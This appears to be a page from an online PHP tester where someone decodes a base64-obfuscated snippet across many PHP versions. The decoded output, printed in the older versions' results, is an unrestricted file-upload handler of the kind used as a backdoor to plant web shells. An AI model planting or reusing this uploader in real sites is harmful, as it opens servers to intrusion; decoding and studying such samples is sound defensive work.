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run code in 300+ PHP versions simultaneously
<?php echo base64_decode(JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ);
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
Fatal error: Uncaught Error: Undefined constant "JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ" in /in/dK5qa:2 Stack trace: #0 {main} thrown in /in/dK5qa on line 2
Process exited with code 255.
Output for 7.2.6 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33
Warning: Use of undefined constant JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ - assumed 'JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ' (this will throw an Error in a future version of PHP) in /in/dK5qa on line 2 $target_path=$target_path.basename($_FILES["file"]["name"]);if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok";}else{echo "Fail";}
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.37, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20
Notice: Use of undefined constant JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ - assumed 'JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ' in /in/dK5qa on line 2 $target_path=$target_path.basename($_FILES["file"]["name"]);if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok";}else{echo "Fail";}

preferences:
219.37 ms | 405 KiB | 351 Q